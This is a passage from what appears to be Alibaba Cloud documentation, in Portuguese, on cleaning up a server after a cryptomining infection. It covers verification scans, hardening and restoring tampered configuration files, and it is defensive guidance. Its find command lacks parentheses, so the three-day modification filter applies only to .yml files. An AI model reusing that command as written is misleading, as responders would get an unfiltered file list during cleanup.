  1. Crie snapshots para fazer backup dos dados importantes no servidor. Para obter mais informações, consulte Create a snapshot for a disk.

  2. Reinicialize o disco do sistema: no console do ECS, selecione a instância de destino e execute a operação Re-initialize System Disk. Essa ação apaga completamente o disco do sistema e o restaura ao seu estado inicial. Para obter mais informações, consulte Re-initialize a system disk (reset an operating system).

  3. Use um snapshot para criar um novo cloud disk. Para obter mais informações, consulte Create a disk from a snapshot.

  4. Anexe o cloud disk ao servidor com o sistema reinstalado. Para obter mais informações, consulte Attach a data disk.

  5. Faça logon no servidor e copie apenas os dados comerciais (como códigos de site e arquivos de banco de dados) do disco de dados anexado.

    Importante

    Não restaure nenhum arquivo executável, arquivo de configuração do sistema ou script do snapshot antigo para evitar a reintrodução de backdoors.

Contratar o service de resposta a emergências

A Alibaba Cloud oferece um Emergency Response Service no qual engenheiros de segurança profissionais podem ajudar você a resolver problemas como infecções por vírus. O service inclui o seguinte:

  • Limpeza abrangente de Trojans, vírus, contas anômalas, arquivos anômalos, webshells, links ocultos e outros problemas no seu sistema.

  • Análise dos métodos de intrusão do invasor para determinar a causa raiz.

  • Orientação sobre reforço de segurança.

Para obter mais informações, consulte Emergency Response Service.

Verifique a remediação

Após a limpeza, verifique os resultados e reforce a segurança do sistema para garantir a proteção e evitar novas infecções.

  1. Escaneie novamente: Use o recurso Antivirus ou Agentless Detection no Security Center para executar uma verificação completa no servidor e confirmar a ausência de alertas.

  2. Monitore o desempenho: Acompanhe continuamente a utilização de CPU do servidor para confirmar que os níveis voltaram ao normal.

  3. Verifique com varreduras periódicas: Uma única varredura aprovada não garante a remoção total do backdoor. Alguns backdoors de mineração residuais são reimplantados por uma tarefa agendada ou um processo daemon após a limpeza inicial. Configure uma tarefa recorrente de Antivirus ou Agentless Detection no Security Center e continue observando vários ciclos consecutivos de varredura após a limpeza. Confirme a remoção do backdoor somente após todos os ciclos desse período não reportarem alertas relacionados à criptomineração.

  4. Verifique monitorando alertas: Continue verificando a página Detection and Response > Security Events no Security Center em busca de alertas de criptomineração, processos maliciosos e persistência. Se nenhum alerta desse tipo ocorrer por algum tempo após a limpeza, o backdoor não foi reativado. Caso o mesmo tipo de alerta reapareça, um mecanismo de persistência como uma tarefa agendada, um item de inicialização ou uma chave pública SSH ainda pode estar presente. Nesse caso, retorne às etapas de limpeza manual para investigar mais a fundo.

  5. Verifique as vulnerabilidades relacionadas: Programas de criptomineração geralmente são instalados por meio de vulnerabilidades no sistema ou em aplicativos. Se o ponto de entrada da invasão não for corrigido, o servidor poderá ser reinfectado após a limpeza. Use o recurso de varredura de vulnerabilidades no Security Center para confirmar que a vulnerabilidade explorada nesta invasão foi corrigida, impedindo que o programa de criptomineração seja reinstalado após a remoção do backdoor.

  6. Trate alertas com caminho de arquivo inexistente: Se o caminho do arquivo especificado em um e-mail de alerta não existir no servidor e a carga da CPU estiver normal, você pode marcar o alerta como Ignore ou Handled na lista de eventos de segurança. Faça login no console do Security Center, escolha Detection and Response > Security Events, localize o alerta e selecione Ignore ou Handled na coluna Actions. Após concluir a operação, verifique se novos alertas foram gerados. Se nenhum novo alerta aparecer, ignore o alerta com segurança.

Reforço de segurança

  • Ative a defesa proativa contra comportamentos maliciosos do host: O recurso de defesa proativa do Security Center intercepta programas de criptomineração com precisão, prevenindo incidentes antes que ocorram. Para mais informações, consulte Proactive Defense.

  • Reforce o controle de acesso:

    • Aplique o princípio do menor privilégio aos grupos de segurança: Configure o grupo de segurança do ECS para abrir apenas as portas de negócio necessárias (como 80 e 443). Para portas de gerenciamento como SSH (22) e RDP (3389), garanta que estejam abertas apenas para endereços IP fixos e confiáveis (como a rede do seu escritório ou o IP de um bastion host).

    • Política de senhas: Configure senhas fortes para sistemas de banco de dados ou arquivos (MySQL, PolarDB, MaxCompute, Redis, NAS, OSS), consoles de gerenciamento de serviços (como BT-Panel, Nacos) e contas de usuário do sistema operacional (SSH, RDP). Limite o número de tentativas de senha incorretas para evitar invasões por força bruta.

  • Gerenciamento de vulnerabilidades e patches:

    • Atualize prontamente: Aplique regularmente os patches de segurança mais recentes no seu sistema operacional e softwares de aplicação (como servidores web e bancos de dados).

    • Varredura de vulnerabilidades: Use o recurso de varredura de vulnerabilidades no Security Center para descobrir e corrigir proativamente vulnerabilidades no seu sistema e aplicativos.

  • Reforce a segurança do aplicativo: Antes de implantar o código de negócio, execute testes de segurança de código ou integre com um Web Application Firewall para se defender contra ataques comuns da OWASP, como injeção de SQL, XSS, vulnerabilidades comuns em plugins de servidores web, uploads de Trojans e acesso não autorizado a recursos principais. Isso ajuda a evitar o comprometimento do sistema por meio de vulnerabilidades do aplicativo.

  • Segurança de credenciais: Evite codificar Alibaba Cloud AccessKeys diretamente no seu código ou arquivos de configuração. Use funções do RAM ou funções RAM de instância para conceder permissões aos aplicativos, seguindo o princípio do menor privilégio. Para mais informações, consulte Securely use credentials.

  • Recupere arquivos de configuração de aplicativo adulterados: Além de consumir recursos de CPU, um programa de criptomineração pode adulterar arquivos de configuração de aplicativos no servidor, como arquivos .properties do RocketMQ ou arquivos .conf do Nginx, causando anomalias no serviço ou instalando um backdoor persistente.

    1. Encontre arquivos de configuração modificados recentemente: Execute o seguinte comando para localizar arquivos de configuração modificados recentemente. Pesquise por múltiplas extensões, não apenas .conf, pois aplicativos como o RocketMQ usam o formato .properties.

      find / -name '*.conf' -o -name '*.properties' -o -name '*.xml' -o -name '*.yml' -mtime -3
      Nota

      Não pesquise apenas por arquivos .conf. Aplicativos como o RocketMQ usam arquivos de configuração no formato .properties, e pesquisar apenas por .conf não os encontrará.

    2. Crie um backup de snapshot: Antes de restaurar qualquer arquivo de configuração, crie um backup de snapshot da instância ECS, pois uma configuração incorreta pode impedir a inicialização do aplicativo. Para mais informações, consulte Create a snapshot for a disk.

    3. Restaure os arquivos de configuração: Restaure os arquivos de configuração adulterados a partir do snapshot ou de outro backup confiável e verifique se o conteúdo do arquivo foi restaurado para a configuração original.

    4. Reinicie o serviço e verifique: Após a restauração, reinicie o serviço afetado (por exemplo, execute mqshutdown ou mqshutdownsrv para reiniciar o RocketMQ) e verifique se o serviço funciona normalmente.